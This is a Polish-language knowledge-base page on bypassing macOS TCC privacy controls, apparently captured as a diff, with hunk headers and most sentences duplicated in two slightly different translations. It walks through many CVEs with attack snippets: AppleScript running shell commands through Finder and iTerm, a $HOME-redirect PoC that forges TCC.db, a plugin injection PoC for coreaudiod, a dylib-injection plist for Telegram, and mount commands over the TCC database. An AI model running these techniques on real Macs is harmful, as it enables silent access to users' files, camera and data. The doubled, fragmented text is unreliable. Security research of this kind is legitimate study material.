{% content-ref url="macos-apple-scripts.md" %}
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
Na przykład, jeśli aplikacja ma **uprawnienia automatyzacji dla `iTerm`**, na przykład w tym przykładzie **`Terminal`** ma dostęp do iTerm:
Na przykład, jeśli aplikacja ma **uprawnienie Automatyzacji nad `iTerm`**, na przykład w tym przykładzie **`Terminal`** ma dostęp do iTerm:
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### Przez iTerm
#### Nad iTerm
Terminal, który nie ma Pełnego dostępu do dysku, może wywołać iTerm, który go ma, i użyć go do wykonywania działań:
Terminal, który nie ma FDA, może wywołać iTerm, który ją ma, i użyć go do wykonywania działań:
{% code title="iterm.script" %}
```applescript
@ -94,7 +113,7 @@ osascript iterm.script
```
#### Nad Finderem
Jeśli aplikacja ma dostęp nad Finderem, może użyć takiego skryptu:
Jeśli aplikacja ma dostęp nad Finderem, może wykonać skrypt podobny do tego:
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@ -108,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
Demon **tccd** w przestrzeni użytkownika używa zmiennej środowiskowej **`HOME`** do dostępu do bazy danych użytkowników TCC zlokalizowanej w: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Demon **tccd** w przestrzeni użytkownika używa zmiennej środowiskowej **`HOME`** do uzyskania dostępu do bazy danych użytkowników TCC z lokalizacji: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
Zgodnie z [tym postem na Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i ponieważ demon TCC działa za pośrednictwem `launchd` w domenie bieżącego użytkownika, możliwe jest **kontrolowanie wszystkich zmiennych środowiskowych** przekazywanych do niego.\
W związku z tym, **atakujący może ustawić zmienną środowiskową `$HOME`** w **`launchctl`** tak, aby wskazywała na **kontrolowany katalog**, **zrestartować** demona **TCC**, a następnie **bezpośrednio modyfikować bazę danych TCC**, aby uzyskać **wszystkie dostępne uprawnienia TCC** bez konieczności pytania użytkownika końcowego.\
Zgodnie z [tym postem na Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i ponieważ demon TCC działa za pośrednictwem `launchd` w dziedzinie bieżącego użytkownika, możliwe jest **kontrolowanie wszystkich zmiennych środowiskowych** przekazywanych do niego.\
W związku z tym **atakujący mógłby ustawić zmienną środowiskową `$HOME`** w **`launchctl`** tak, aby wskazywała na **kontrolowany katalog**, **ponownie uruchomić** demona **TCC**, a następnie **bezpośrednio modyfikować bazę danych TCC**, aby nadać sobie **wszystkie dostępne uprawnienia TCC** bez konieczności pytania użytkownika końcowego.\
PoC:
```bash
# reset database just in case (no cheating!)
@ -141,90 +160,90 @@ $> ls ~/Documents
```
### CVE-2021-30761 - Notatki
Notatki miały dostęp do chronionych lokalizacji TCC, ale gdy tworzona jest notatka, jest ona tworzona w **niechronionej lokalizacji**. Można więc poprosić notatki o skopiowanie chronionego pliku do notatki (czyli do niechronionej lokalizacji), a następnie uzyskać dostęp do pliku:
Notatki miały dostęp do chronionych lokalizacji TCC, ale gdy notatka jest tworzona, jest to **tworzone w lokalizacji niechronionej**. Dlatego można było poprosić o skopiowanie chronionego pliku do notatki (czyli do lokalizacji niechronionej) i następnie uzyskać dostęp do pliku:
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
### CVE-2021-30782 - Translokacja
Binarny plik `/usr/libexec/lsd` z biblioteką `libsecurity_translocate` miał uprawnienie `com.apple.private.nullfs_allow`, które pozwalało na utworzenie montażu **nullfs**, oraz uprawnienie `com.apple.private.tcc.allow` z **`kTCCServiceSystemPolicyAllFiles`**, aby uzyskać dostęp do każdego pliku.
Binarny plik `/usr/libexec/lsd` z biblioteką `libsecurity_translocate` miał uprawnienie `com.apple.private.nullfs_allow`, które pozwalało na utworzenie montowania **nullfs** oraz uprawnienie `com.apple.private.tcc.allow` z **`kTCCServiceSystemPolicyAllFiles`** do dostępu do każdego pliku.
Było możliwe dodanie atrybutu kwarantanny do "Library", wywołanie usługi XPC **`com.apple.security.translocation`**, a następnie mapowanie Library na **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie można było **uzyskać dostęp** do wszystkich dokumentów w Library.
Było możliwe dodanie atrybutu kwarantanny do "Library", wywołanie usługi XPC **`com.apple.security.translocation`** i wtedy mapowano Library do **`$TMPDIR/AppTranslocation/d/d/Library`**, gdzie można było **uzyskać dostęp** do wszystkich dokumentów w Library.
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
### CVE-2023-38571 - Muzyka & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** ma interesującą funkcję: gdy jest uruchomiony, **importuje** pliki przeciągnięte do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do biblioteki multimedialnej użytkownika. Ponadto, wywołuje coś w stylu: **`rename(a, b);`**, gdzie `a` i `b` to:
**`Muzyka`** ma ciekawą funkcję: Gdy jest uruchomiona, **importuje** pliki upuszczone do **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** do "biblioteki multimedialnej" użytkownika. Ponadto, wywołuje coś w stylu: **`rename(a, b);`** gdzie `a` i `b` to:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
To zachowanie **`rename(a, b);`** jest podatne na **Race Condition**, ponieważ można umieścić w folderze `Automatically Add to Music.localized` fałszywy plik **TCC.db**, a następnie, gdy zostanie utworzony nowy folder(b), skopiować plik, go usunąć i skierować go do **`~/Library/Application Support/com.apple.TCC`**/.
To zachowanie **`rename(a, b);`** jest podatne na **Race Condition**, ponieważ można umieścić w folderze `Automatically Add to Music.localized` fałszywy plik **TCC.db**, a następnie, gdy zostanie utworzony nowy folder(b), skopiować plik, usunąć go i skierować go do **`~/Library/Application Support/com.apple.TCC`**/.
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
Jeśli **`SQLITE_SQLLOG_DIR="ścieżka/folder"`**, oznacza to, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tej podatności kontrola ta została wykorzystana do **zapisu** wewnątrz bazy danych SQLite, która zostanie **otwarta przez proces z bazą danych TCC**, a następnie wykorzystano **`SQLITE_SQLLOG_DIR`** z symlinkiem w nazwie pliku, aby po otwarciu tej bazy danych, nadpisać bazę danych użytkownika **TCC.db** otwartą bazą danych.
**Więcej informacji** [**w artykule**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
Jeśli **`SQLITE_SQLLOG_DIR="ścieżka/folder"`**, oznacza to w zasadzie, że **każda otwarta baza danych jest kopiowana do tej ścieżki**. W tym CVE kontrola ta została nadużyta do **zapisania** wewnątrz bazy danych SQLite, która ma być **otwarta przez proces z bazą danych TCC**, a następnie nadużyć **`SQLITE_SQLLOG_DIR`** z **symlinkiem w nazwie pliku**, więc gdy ta baza danych jest **otwarta**, baza danych użytkownika **TCC.db jest nadpisywana** otwartą bazą danych.\
**Więcej informacji** [**w opisie**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i**[ **w prezentacji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s).
### **SQLITE\_AUTO\_TRACE**
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** rozpocznie **logowanie** wszystkich zapytań SQL. Wiele aplikacji korzystało z tej biblioteki, więc było możliwe zalogowanie wszystkich ich zapytań SQLite.
Jeśli zmienna środowiskowa **`SQLITE_AUTO_TRACE`** jest ustawiona, biblioteka **`libsqlite3.dylib`** zacznie **logować** wszystkie zapytania SQL. Wiele aplikacji używało tej biblioteki, więc było możliwe zalogowanie wszystkich ich zapytań SQLite.
Kilka aplikacji Apple korzystało z tej biblioteki do uzyskiwania dostępu do chronionych informacji TCC.
Kilka aplikacji Apple używało tej biblioteki do uzyskiwania dostępu do chronionych informacji TCC.
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
Ta **zmienna środowiskowa jest używana przez framework `Metal`,** który jest zależnością różnych programów, zwłaszcza `Music`, który ma FDA.
Ta **zmienna środowiskowa jest używana przez framework `Metal`**, który jest zależnością różnych programów, w tym głównie `Music`, który ma FDA.
Ustawienie następującego: `MTL_DUMP_PIPELINES_TO_JSON_FILE="ścieżka/nazwa"`. Jeśli `ścieżka` jest poprawnym katalogiem, wystąpi błąd i możemy użyć `fs_usage`, aby zobaczyć, co dzieje się w programie:
Ustawienie następującego: `MTL_DUMP_PIPELINES_TO_JSON_FILE="ścieżka/nazwa"`. Jeśli `ścieżka` jest poprawnym katalogiem, błąd zostanie wywołany i możemy użyć `fs_usage`, aby zobaczyć, co dzieje się w programie:
* zostanie otwarty plik o nazwie `path/.dat.nosyncXXXX.XXXXXX` (X to losowa wartość) za pomocą `open()`
* jedno lub więcej wywołań `write()` zapisze zawartość do pliku (nie kontrolujemy tego)
* plik `path/.dat.nosyncXXXX.XXXXXX` zostanie przemianowany za pomocą `rename()` na `path/name`
* zostanie otwarty plik o nazwie `path/.dat.nosyncXXXX.XXXXXX` (X to losowa wartość)
* jedno lub więcej operacji `write()` zapisze zawartość do pliku (nie mamy nad tym kontroli)
* `path/.dat.nosyncXXXX.XXXXXX` zostanie zmienione nazwę na `path/nazwa`
Jest to tymczasowy zapis pliku, a następnie **`rename(old, new)`**, **który nie jest bezpieczny**.
Jest to tymczasowa operacja zapisu pliku, po której następuje **`rename(stary, nowy)`** **która nie jest bezpieczna.**
Nie jest bezpieczny, ponieważ musi **rozwiązać osobno stare i nowe ścieżki**, co może zająć trochę czasu i być podatne na wyścig. Więcej informacji można znaleźć w funkcji `xnu` o nazwie `renameat_internal()`.
Nie jest bezpieczna, ponieważ musi **rozwiązać osobno stare i nowe ścieżki**, co może zająć trochę czasu i być podatne na Warunki Wyścigu. Aby uzyskać więcej informacji, można sprawdzić funkcję `xnu` `renameat_internal()`.
{% hint style="danger" %}
Podsumowując, jeśli uprzywilejowany proces zmienia nazwę z folderu, który kontrolujesz, możesz zdobyć RCE i sprawić, że dostępny będzie inny plik lub, jak w przypadku tej CVE, otworzyć plik utworzony przez uprzywilejowaną aplikację i przechować FD.
Więc, w skrócie, jeśli uprzywilejowany proces zmienia nazwę z folderu, który kontrolujesz, możesz zdobyć RCE i sprawić, że uzyska dostęp do innego pliku lub, jak w tym CVE, otworzyć plik utworzony przez uprzywilejowaną aplikację i przechować FD.
Jeśli operacja zmiany nazwy dotyczy folderu, który kontrolujesz, podczas gdy zmodyfikowałeś plik źródłowy lub masz do niego FD, możesz zmienić plik (lub folder) docelowy na symlink, dzięki czemu możesz zapisywać w nim w dowolnym momencie.
Jeśli zmiana nazwy dotyczy folderu, który kontrolujesz, podczas gdy zmodyfikowałeś plik źródłowy lub masz do niego FD, zmieniasz plik (lub folder) docelowy, aby wskazywał na symlink, dzięki czemu możesz pisać kiedy chcesz.
{% endhint %}
To była atak w przypadku CVE: Na przykład, aby nadpisać bazę danych użytkownika `TCC.db`, możemy:
To był atak w CVE: Na przykład, aby nadpisać bazę danych użytkownika `TCC.db`, możemy:
* utworzyć `/Users/hacker/ourlink`, który wskazuje na `/Users/hacker/Library/Application Support/com.apple.TCC/`
* utworzyć katalog `/Users/hacker/tmp/`
* ustaw `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
* wywołać błąd, uruchamiając `Music` z tą zmienną środowiskową
* przechwycić `open()` dla `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X to losowa wartość)
* tutaj również `open()` tego pliku w celu zapisu i zachowania deskryptora pliku
* atomowo zamienić `/Users/hacker/tmp` na `/Users/hacker/ourlink` **w pętli**
* robimy to, aby zwiększyć szanse na sukces, ponieważ okno wyścigu jest dość wąskie, ale przegrana w wyścigu ma znikomy wpływ
* utwórz `/Users/hacker/ourlink`, aby wskazywał na `/Users/hacker/Library/Application Support/com.apple.TCC/`
* utwórz katalog `/Users/hacker/tmp/`
* ustaw `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
* wywołaj błąd, uruchamiając `Music` z tą zmienną środowiskową
* złap `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X to losowa wartość)
* tutaj również `open()` ten plik do zapisu i zachowaj deskryptor pliku
* zamień atomowo `/Users/hacker/tmp` na `/Users/hacker/ourlink` **w pętli**
* robimy to, aby zwiększyć szanse na sukces, ponieważ okno wyścigu jest dość wąskie, ale przegrana w wyścigu ma znikome konsekwencje
* poczekaj chwilę
* sprawdź, czy udało się
* sprawdź, czy mamy szczęście
* jeśli nie, uruchom ponownie od początku
Więcej informacji można znaleźć pod adresem [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
Więcej informacji na stronie [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
{% hint style="danger" %}
Teraz, jeśli spróbujesz użyć zmiennej środowiskowej `MTL_DUMP_PIPELINES_TO_JSON_FILE`, aplikacje nie będą się uruchamiać.
Teraz, jeśli spróbujesz użyć zmiennej środowiskowej `MTL_DUMP_PIPELINES_TO_JSON_FILE`, aplikacje nie uruchomią się
{% endhint %}
### Apple Remote Desktop
Jako root możesz włączyć tę usługę, a agent **ARD będzie miał pełny dostęp do dysku**, co użytkownik może wykorzystać, aby skopiować nową bazę danych użytkownika **TCC**.
Jako root możesz włączyć tę usługę, a **agent ARD będzie miał pełny dostęp do dysku**, co użytkownik może wykorzystać do skopiowania nowej **bazy danych użytkownika TCC**.
## Przez **NFSHomeDirectory**
TCC używa bazy danych w folderze HOME użytkownika do kontrolowania dostępu do zasobów specyficznych dla użytkownika w **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Dlatego jeśli użytkownikowi uda się uruchomić TCC z zmienną środowiskową `$HOME` wskazującą na **inny folder**, użytkownik może utworzyć nową bazę danych TCC w **/Library/Application Support/com.apple.TCC/TCC.db** i oszukać TCC, aby przyznał dowolne uprawnienia TCC dowolnej aplikacji.
Dlatego jeśli użytkownikowi uda się zrestartować TCC z zmienną środowiskową $HOME wskazującą na **inny folder**, użytkownik mógłby utworzyć nową bazę danych TCC w **/Library/Application Support/com.apple.TCC/TCC.db** i oszukać TCC, aby przyznał dowolne uprawnienia TCC dowolnej aplikacji.
{% hint style="success" %}
Należy zauważyć, że Apple używa ustawienia przechowywanego w profilu użytkownika w atrybucie **`NFSHomeDirectory`** jako wartość `$HOME`, więc jeśli skompromitujesz aplikację mającą uprawnienia do modyfikowania tej wartości (**`kTCCServiceSystemPolicySysAdminFiles`**), możesz **uzbroić** tę opcję w celu obejścia TCC.
Należy zauważyć, że Apple używa ustawienia przechowywanego w profilu użytkownika w atrybucie **`NFSHomeDirectory`** jako **wartość `$HOME`**, więc jeśli skompromitujesz aplikację z uprawnieniami do modyfikowania tej wartości (**`kTCCServiceSystemPolicySysAdminFiles`**), możesz **uzbroić** tę opcję w celu ominięcia TCC.
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -233,43 +252,43 @@ Należy zauważyć, że Apple używa ustawienia przechowywanego w profilu użytk
### CVE-2021-30970 - Powerdir
**Pierwszy POC** używa narzędzi [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) i [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) do modyfikacji folderu **HOME** użytkownika.
**Pierwszy POC** używa [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) i [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) do modyfikacji folderu **HOME** użytkownika.
1. Uzyskaj blok _csreq_ dla docelowej aplikacji.
2. Umieść fałszywy plik _TCC.db_ z wymaganym dostępem i blokiem _csreq_.
2. Wsadź fałszywy plik _TCC.db_ z wymaganym dostępem i blokiem _csreq_.
3. Wyeksportuj wpis usług katalogowych użytkownika za pomocą [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
4. Zmodyfikuj wpis usług katalogowych, aby zmienić katalog domowy użytkownika.
5. Zaimportuj zmodyfikowany wpis usług katalogowych za pomocą [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
6. Zatrzymaj _tccd_ użytkownika i uruchom ponownie proces.
6. Zatrzymaj _tccd_ użytkownika i zrestartuj proces.
Drugi POC używa **`/usr/libexec/configd`**, który miał `com.apple.private.tcc.allow` z wartością `kTCCServiceSystemPolicySysAdminFiles`.\
Było możliwe uruchomienie **`configd`** z opcją **`-t`**, co pozwalało atakującemu określić **niestandardowy pakiet do załadowania**. W związku z tym, wykorzystanie **zastępowało** metodę zmiany katalogu domowego użytkownika za pomocą **`dsexport`** i **`dsimport`** przez **wstrzyknięcie kodu do `configd`**.
**Drugi POC** użył **`/usr/libexec/configd`**, który miał `com.apple.private.tcc.allow` z wartością `kTCCServiceSystemPolicySysAdminFiles`.\
Było możliwe uruchomienie **`configd`** z opcją **`-t`**, co pozwalało atakującemu określić **niestandardowy Bundle do załadowania**. Dlatego exploit **zastąpił** metodę zmiany katalogu domowego użytkownika za pomocą **wstrzyknięcia kodu `configd`**.
Więcej informacji można znaleźć w [**oryginalnym raporcie**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
Aby uzyskać więcej informacji, sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## Przez wstrzyknięcie procesu
Istnieje wiele różnych technik wstrzykiwania kodu do procesu i wykorzystywania jego uprawnień TCC:
Istnieją różne techniki wstrzykiwania kodu do procesu i nadużywania jego uprawnień TCC:
{% content-ref url="../../../macos-proces-abuse/" %}
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
Najczęstsze wstrzykiwanie procesu do obejścia TCC odbywa się za pomocą **wtyczek (ładowanie bibliotek)**.\
Wtyczki to dodatkowy kod zwykle w postaci bibliotek lub plików plist, które będą **ładowane przez główną aplikację** i będą wykonywane w jej kontekście. Dlatego jeśli główna aplikacja miała dostęp do plików TCC o ograniczonym dostępie (poprzez przyznane uprawnienia lub entitlements), **niestandardowy kod również będzie miał do nich dostęp**.
Co więcej, najczęstszym sposobem wstrzykiwania procesu do ominięcia TCC jest poprzez **wtyczki (ładowanie biblioteki)**.\
Wtyczki to dodatkowy kod zazwyczaj w formie bibliotek lub plist, który będzie **ładowany przez główną aplikację** i będzie wykonywany w jej kontekście. Dlatego jeśli główna aplikacja miała dostęp do plików objętych restrykcjami TCC (poprzez udzielone uprawnienia lub entitlements), **niestandardowy kod również je będzie miał**.
### CVE-2020-27937 - Directory Utility
Aplikacja `/System/Library/CoreServices/Applications/Directory Utility.app` miała entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, ładowała wtyczki z rozszerzeniem **`.daplug`** i **nie miała zabezpieczeń** runtime.
Aplikacja `/System/Library/CoreServices/Applications/Directory Utility.app` miała entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, ładowała wtyczki z rozszerzeniem **`.daplug`** i **nie miała zabezpieczonej** wersji uruchomieniowej.
Aby uzbroić tę CVE, **zmieniono** **`NFSHomeDirectory`** (wykorzystując wcześniejsze uprawnienia), aby móc **przejąć bazę danych TCC użytkowników** i obejść TCC.
Aby uzbroić to CVE, **`NFSHomeDirectory`** jest **zmieniany** (nadużywając poprzedniego entitlementu), aby móc **przejąć bazę danych TCC użytkowników** w celu ominięcia TCC.
Więcej informacji można znaleźć w [**oryginalnym raporcie**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
Więcej informacji znajdziesz w [**oryginalnym raporcie**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
### CVE-2020-29621 - Coreaudiod
Binarny plik **`/usr/sbin/coreaudiod`** miał uprawnienia `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Pierwsze uprawnienie pozwalało na **wstrzykiwanie kodu**, a drugie dawało dostęp do **zarządzania TCC**.
Binarny **`/usr/sbin/coreaudiod`** miał uprawnienia `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Pierwsze **pozwalają na wstrzykiwanie kodu**, a drugie daje dostęp do **zarządzania TCC**.
Ten binarny plik pozwalał na ładowanie **wtyczek innych firm** z folderu `/Library/Audio/Plug-Ins/HAL`. Dlatego też było możliwe **załadowanie wtyczki i nadużycie uprawnień TCC** za pomocą tego PoC:
Ten binarny pozwalał na ładowanie **wtyczek firm trzecich** z folderu `/Library/Audio/Plug-Ins/HAL`. Dlatego było możliwe **załadowanie wtyczki i nadużycie uprawnień TCC** za pomocą tego PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -296,15 +315,15 @@ add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
```
Aby uzyskać więcej informacji, sprawdź [**oryginalny raport**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
Dla dalszych informacji sprawdź [**oryginalny raport**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Wtyczki warstwy abstrakcji urządzenia (DAL)
Aplikacje systemowe, które otwierają strumień kamery za pomocą Core Media I/O (aplikacje z **`kTCCServiceCamera`**), ładowane są **w procesie tych wtyczek** znajdujących się w `/Library/CoreMediaIO/Plug-Ins/DAL` (nieograniczone przez SIP).
Aplikacje systemowe, które otwierają strumień kamery za pomocą Core Media I/O (aplikacje z **`kTCCServiceCamera`**) wczytują **w procesie te wtyczki** znajdujące się w `/Library/CoreMediaIO/Plug-Ins/DAL` (nieograniczone przez SIP).
Wystarczy tam przechowywać bibliotekę z **konstruktorem** i będzie działać do **wstrzykiwania kodu**.
Wystarczy przechowywać tam bibliotekę z **konstruktorem** ogólnym, aby działało to na **wstrzyknięcie kodu**.
Wiele aplikacji Apple było podatnych na to.
Kilka aplikacji Apple było podatnych na to.
### Firefox
@ -334,17 +353,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
Aby uzyskać więcej informacji na temat łatwego wykorzystania tego [**sprawdź oryginalny raport**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
Dla więcej informacji na temat łatwego wykorzystania tego [**sprawdź oryginalny raport**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
### CVE-2020-10006
Binarny plik `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` miał uprawnienia **`com.apple.private.tcc.allow`** i **`com.apple.security.get-task-allow`**, co pozwalało na wstrzyknięcie kodu do procesu i wykorzystanie uprawnień TCC.
Binarny plik `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` miał uprawnienia **`com.apple.private.tcc.allow`** i **`com.apple.security.get-task-allow`**, co pozwalało na wstrzyknięcie kodu do procesu i użycie uprawnień TCC.
### CVE-2023-26818 - Telegram
Telegram miał uprawnienia **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, więc było możliwe ich wykorzystanie do **uzyskania dostępu do jego uprawnień**, takich jak nagrywanie za pomocą kamery. [**Znajdziesz ładunek w opisie**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Telegram miał uprawnienia **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, więc było możliwe nadużycie go do **uzyskania dostępu do swoich uprawnień**, takich jak nagrywanie kamerą. Możesz [**znaleźć ładunek w opisie**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Zauważ, że do załadowania biblioteki za pomocą zmiennej środowiskowej został utworzony **niestandardowy plik plist**, a następnie użyto **`launchctl`**, aby go uruchomić:
Zauważ, jak użyć zmiennej środowiskowej do załadowania biblioteki, został stworzony **niestandardowy plist** do wstrzyknięcia tej biblioteki, a **`launchctl`** został użyty do jej uruchomienia:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -376,13 +395,13 @@ launchctl load com.telegram.launcher.plist
```
## Poprzez otwieranie wywołań
Możliwe jest wywołanie **`open`** nawet w trybie piaskownicy.
Możliwe jest wywołanie **`open`** nawet podczas działania w piaskownicy.
### Skrypty terminalowe
### Skrypty terminala
Często zdarza się, że terminalowi użytkownicy przyznają **Pełny dostęp do dysku (FDA)**. Możliwe jest wywołanie skryptów **`.terminal`** przy użyciu tego uprawnienia.
Jest dość powszechne, aby nadać terminalowi **Pełny dostęp do dysku (FDA)**, przynajmniej na komputerach używanych przez osoby techniczne. I możliwe jest wywołanie skryptów **`.terminal`** używając go.
Skrypty **`.terminal`** są plikami plist, takimi jak ten, zawierającym polecenie do wykonania w kluczu **`CommandString`**:
Skrypty **`.terminal`** to pliki plist, takie jak ten z poleceniem do wykonania w kluczu **`CommandString`**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -400,7 +419,7 @@ Skrypty **`.terminal`** są plikami plist, takimi jak ten, zawierającym polecen
</dict>
</plist>
```
Aplikacja może napisać skrypt terminalowy w lokalizacji takiej jak /tmp i uruchomić go za pomocą polecenia:
Aplikacja mogłaby zapisać skrypt terminala w lokalizacji takiej jak /tmp i uruchomić go za pomocą komendy:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -413,10 +432,10 @@ exploit_location]; task.standardOutput = pipe;
```
## Poprzez montowanie
### CVE-2020-9771 - bypass TCC i eskalacja uprawnień za pomocą mount\_apfs
### CVE-2020-9771 - mount\_apfs - bypass TCC i eskalacja uprawnień
**Dowolny użytkownik** (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine i **uzyskać dostęp do WSZYSTKICH plików** tej migawki.\
Jedynym wymaganym uprawnieniem jest, aby aplikacja używana (np. `Terminal`) miała **Pełny dostęp do dysku** (FDA) (`kTCCServiceSystemPolicyAllfiles`), które muszą zostać przyznane przez administratora.
**Dowolny użytkownik** (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine i uzyskać **dostęp do WSZYSTKICH plików** z tej migawki.\
Jedynym wymaganym uprawnieniem jest, aby aplikacja użyta (np. `Terminal`) miała dostęp **Pełnego Dostępu do Dysku** (FDA) (`kTCCServiceSystemPolicyAllfiles`), które muszą zostać udzielone przez administratora.
{% code overflow="wrap" %}
```bash
@ -440,13 +459,11 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
Bardziej szczegółowe wyjaśnienie można znaleźć w [**oryginalnym raporcie**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
Bardziej szczegółowe wyjaśnienie można [**znaleźć w oryginalnym raporcie**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - Montowanie nad plikiem TCC
Nawet jeśli plik bazy danych TCC jest chroniony, możliwe było **zamontowanie nowego pliku TCC.db nad katalogiem**:
{% code overflow="wrap" %}
Nawet jeśli plik bazy danych TCC jest chroniony, było możliwe **zamontowanie nad katalogiem** nowego pliku TCC.db:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -471,14 +488,14 @@ Sprawdź **pełne wykorzystanie** w [**oryginalnym opisie**](https://theevilbit.
### asr
Narzędzie **`/usr/sbin/asr`** pozwalało skopiować cały dysk i zamontować go w innym miejscu, omijając zabezpieczenia TCC.
Narzędzie **`/usr/sbin/asr`** pozwalało skopiować cały dysk i zamontować go w innym miejscu omijając zabezpieczenia TCC.
### Usługi lokalizacyjne
Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`**, która wskazuje, które klienty mają dostęp do **usług lokalizacyjnych**.\
Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc można było zamontować nasz własny plist.
Istnieje trzecia baza danych TCC w **`/var/db/locationd/clients.plist`** wskazująca klientów uprawnionych do **dostępu do usług lokalizacyjnych**.\
Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc było możliwe zamontowanie własnego pliku plist.
## Przez aplikacje uruchamiane przy starcie
## Przez aplikacje startowe
{% content-ref url="../../../../macos-auto-start-locations.md" %}
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
@ -486,37 +503,23 @@ Folder **`/var/db/locationd/` nie był chroniony przed montowaniem DMG**, więc
## Przez grep
W wielu przypadkach pliki przechowują wrażliwe informacje, takie jak adresy e-mail, numery telefonów, wiadomości... w niechronionych lokalizacjach (co stanowi podatność w systemie Apple).
